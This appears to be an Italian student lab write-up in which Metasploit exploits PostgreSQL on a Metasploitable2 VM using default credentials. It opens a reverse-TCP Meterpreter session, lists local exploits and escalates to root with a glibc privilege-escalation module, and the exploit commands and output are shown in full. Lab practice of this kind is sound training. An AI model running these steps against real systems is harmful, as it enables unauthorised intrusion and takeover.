

Progetto S7L3 –Esercizio di Pratica

INTRODUZIONE

1. Usa il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable

Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target

Escalation di privilegi e backdoor:

- Una volta ottenuta la sessione Meterpreter, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.
- Esegui il comando getuid per verificare l'identità dell'utente corrente

2. Bonus:

- Usa il modulo post di msfconsole per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
- Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
- Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente getuid o tentando di eseguire un comando che richiede privilegi di root.
- sempre usando msfconsole installa una backdoor e dimostra che puoi accedere ad essa in un momento successivo

PREFAZIONE

Questo esercizio vede in azione due Macchine Virtuali: [Kali Linux](#) come Attaccante, [Metasploitable2](#) come Target.

[Kali Linux con ip 192.168.2.100](#)

[Metasploitable2 con ip 192.168.2.4](#)

Utilizzeremo lo strumento Metasploit sfruttando il servizio PostgreSQL di Metasploitable 2.

Identificheremo e verificheremo le sue vulnerabilità, diventeremo root infine

installeremo una backdoor per accedervi in un secondo momento

ESECUZIONE: Fase 1

Come prima cosa effettuo un [ping](#) dalla Macchina Kali Linux alla Metasploitable2

```
(kali㉿kali)-[~]
$ ping 192.168.2.4
PING 192.168.2.4 (192.168.2.4) 56(84) bytes of data.
64 bytes from 192.168.2.4: icmp_seq=1 ttl=64 time=0.414 ms
64 bytes from 192.168.2.4: icmp_seq=2 ttl=64 time=0.511 ms
64 bytes from 192.168.2.4: icmp_seq=3 ttl=64 time=0.363 ms
^C
--- 192.168.2.4 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2043ms
rtt min/avg/max/mdev = 0.363/0.429/0.511/0.061 ms
```

Avvio Metasploit con il comando `msfconsole` su Kali Linux

Come suggerito dalla traccia dell'esercizio usiamo il modulo [exploit/linux/postgres/postgres_payload](#), per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2.

Nel Terminale quindi scriviamo i comandi:
use exploit/linux/postgres/postgres_payload
options

```

msf > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

Name      Current Setting  Required  Description
_____
VERBOSE    false           no        Enable verbose output

Used when connecting via an existing SESSION:

Name      Current Setting  Required  Description
_____
SESSION          no           no        The session to run this module on

Used when making a new connection via RHOSTS:

Name      Current Setting  Required  Description
_____
DATABASE    postgres        no        The database to authenticate against
PASSWORD    postgres        no        The password for the specified username. Leave blank for a random password.
RHOSTS          no           no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      5432            no        The target port (TCP)
USERNAME    postgres        no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
_____
LHOST      0.0.0.0         yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port

```

Exploit target:

Id	Name
0	Linux x86

View the full module info with the `info`, or `info -d` command.

Ora impostiamo i parametri mancanti in **RHOSTS**(ip Metasploitable2) e **LHOSTS**(ip Kali Linux) inserendoli con **set RHOSTS 192.168.2.4** e **set LHOSTS 192.168.2.100**. Ripeto il comando **options** per assicurarmi che siano inseriti.

```

msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.2.4
RHOSTS => 192.168.2.4
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.2.100
LHOST => 192.168.2.100
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

Name      Current Setting  Required  Description
_____
VERBOSE    false           no        Enable verbose output

Used when connecting via an existing SESSION:

Name      Current Setting  Required  Description
_____
SESSION          no           no        The session to run this module on

Used when making a new connection via RHOSTS:

Name      Current Setting  Required  Description
_____
DATABASE    postgres        no        The database to authenticate against
PASSWORD    postgres        no        The password for the specified username. Leave blank for a random password.
RHOSTS      192.168.2.4     no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      5432            no        The target port (TCP)
USERNAME    postgres        no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
_____
LHOST      192.168.2.100   yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port

```

```

Exploit target:

  Id  Name
  --  --
  0   Linux x86

View the full module info with the info, or info -d command.

```

Uso il comando `run`(avvia)

```

msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.2.100:4444
[*] 192.168.2.4:5432 - 192.168.2.4:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.2.4:5432 - Uploaded as /tmp/bwFRPV0x.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.2.4
[*] Meterpreter session 1 opened (192.168.2.100:4444 → 192.168.2.4:49147) at 2026-01-21 08:59:22 -0500

meterpreter > sessions -i 1
[*] Session 1 is already interactive.
meterpreter > getuid
Server username: postgres

```

Come da figura l'exploit ha avuto successo ([Meterpreter session 1 opened](#)), con il comando `getuid` verifico l'identità e come risposta ottengo

Server username: postgres,

ESECUZIONE: Extra Fase 2

Sulla tastiera digito `ctrl+z` per mettere la sessione 1, sulla quale stiamo lavorando, in background

Utilizzo il comando [use post/multi/recon/local_exploit_suggester](#), il quale mi suggerisce gli exploit locali della Macchina Metasploitable2

```

Background session 1? [y/N] y
[-] Unknown command: y. Run the help command for more details.
msf exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester

```

Inserisco `options`, imposto la SESSION con `set SESSION 1` e verifico che ci sia utilizzando nuovamente `options`.

```

msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):
  Name      Current Setting  Required  Description
  ----      -----          -----    -----
  SESSION           yes        The session to run this module on
  SHOWDESCRIPTION  false      Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):
  Name      Current Setting  Required  Description
  ----      -----          -----    -----
  SESSION           1         yes        The session to run this module on
  SHOWDESCRIPTION  false      Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

```

Inserisco **run** per avviare, vengono individuati **81 moduli**, di cui 8 sicuramente vulnerabili

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.4 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.2.4 - 229 exploit checks are being tried ...
[*] 192.168.2.4 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.2.4 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.2.4 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.2.4 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.2.4 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.2.4 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.2.4 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.2.4 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.2.4 - Valid modules for session 1:

#  Name                                Potentially Vulnerable?  Check Result
-  _____
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc    Yes      The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc    Yes      The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4            Yes      The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc          Yes      The service is running, but could not be validated.
5  exploit/linux/local/su_login                           Yes      The target appears to be vulnerable.
6  exploit/linux/persistence/autostart                   Yes      The service is running, but could not be validated. Xorg is installed, possible desktop i
stall.
7  exploit/multi/persistence/cron                      Yes      The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8  exploit/unix/local/setuid_nmap                      Yes      The target is vulnerable. /usr/bin/nmap is setuid
9  exploit/linux/local/abrt_raceabrt_priv_esc           No       The target is not exploitable.
10 exploit/linux/local/abrt_sosreport_priv_esc          No       The target is not exploitable.
11 exploit/linux/local/af_packet_chocobo_root_priv_esc  No       The target is not exploitable. System architecture i686 is not supported
12 exploit/linux/local/af_packet_packet_set_ring_priv_ec No       The target is not exploitable.
13 exploit/linux/local/ansible_node_deployer           No       The target is not exploitable. Ansible does not seem to be installed, unable to find ans
le executable
14 exploit/linux/local/apport_abrt_chroot_priv_esc     No       The target is not exploitable.
15 exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc No       The target is not exploitable.
16 exploit/linux/local/bpf_priv_esc                     No       The target is not exploitable.
17 exploit/linux/local/bpf_sign_extension_priv_esc    No       The target is not exploitable. System architecture i686 is not supported
18 exploit/linux/local/cve_2021_3490_bpf_alu32_bounds_check_loe No       The target is not exploitable. System architecture i686 is not supported
```

Vediamo i moduli vulnerabili:

- 1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
- 2 exploit/linux/local/glibc_origin_expansion_priv_esc
- 3 exploit/linux/local/netfilter_priv_esc_ipv4
- 4 exploit/linux/local/ptrace_sudo_token_priv_esc
- 5 exploit/linux/local/su_login
- 6 exploit/linux/persistence/autostart
- 7 exploit/multi/persistence/cron
- 8 exploit/unix/local/setuid_nmap ,

Eseguo il modulo 1 per diventare root(Amministratore) della Metasploitable2

1. Digitox use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc e options

```
msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
  Name          Current Setting  Required  Description
  --            --              --        --
  SESSION        no             yes       The session to run this module on
  SUID_EXECUTABLE /bin/ping    yes       Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --        --              --        --
  LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
  LPORT    4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
```

Imposto SESSION, in SESSION 1 e LHOST 192.168.2.100 (Kali Linux in ascolto), noto Payload option (linux/x64..), sapendo che però è x86, la cambio con set payload linux/x86/meterpreter/reverse_tcp e digitox options

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
  Name          Current Setting  Required  Description
  --            --              --        --
  SESSION        1              yes       The session to run this module on
  SUID_EXECUTABLE /bin/ping    yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --        --              --        --
  LHOST    192.168.2.100     yes       The listen address (an interface may be specified)
  LPORT    4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
```

Avvio con run:

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.2.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.62d37D0' (1271 bytes) ...
[*] Writing '/tmp/.AKh4t1DH0J' (281 bytes) ...
[*] Writing '/tmp/.OMODs7Jz' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.2.4
[*] Meterpreter session 2 opened (192.168.2.100:4444 → 192.168.2.4:48767) at 2026-01-22 02:28:18 -0500
```

Avviato meterpreter scrivo getuid per vedere se sono riuscito nella scalata dei privilegi e sysinfo per riconoscere il sistema operativo

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture   : i686
BuildTuple     : i486-linux-musl
Meterpreter    : x86/linux
meterpreter > exit
[*] Shutting down session: 2

[*] 192.168.2.4 - Meterpreter session 2 closed. Reason: User exit
```

Getuid dà il risultato sperato, Server username:root ,sysinfo mi accerta che è la Metasploitable2, chiudo la sessione con exit.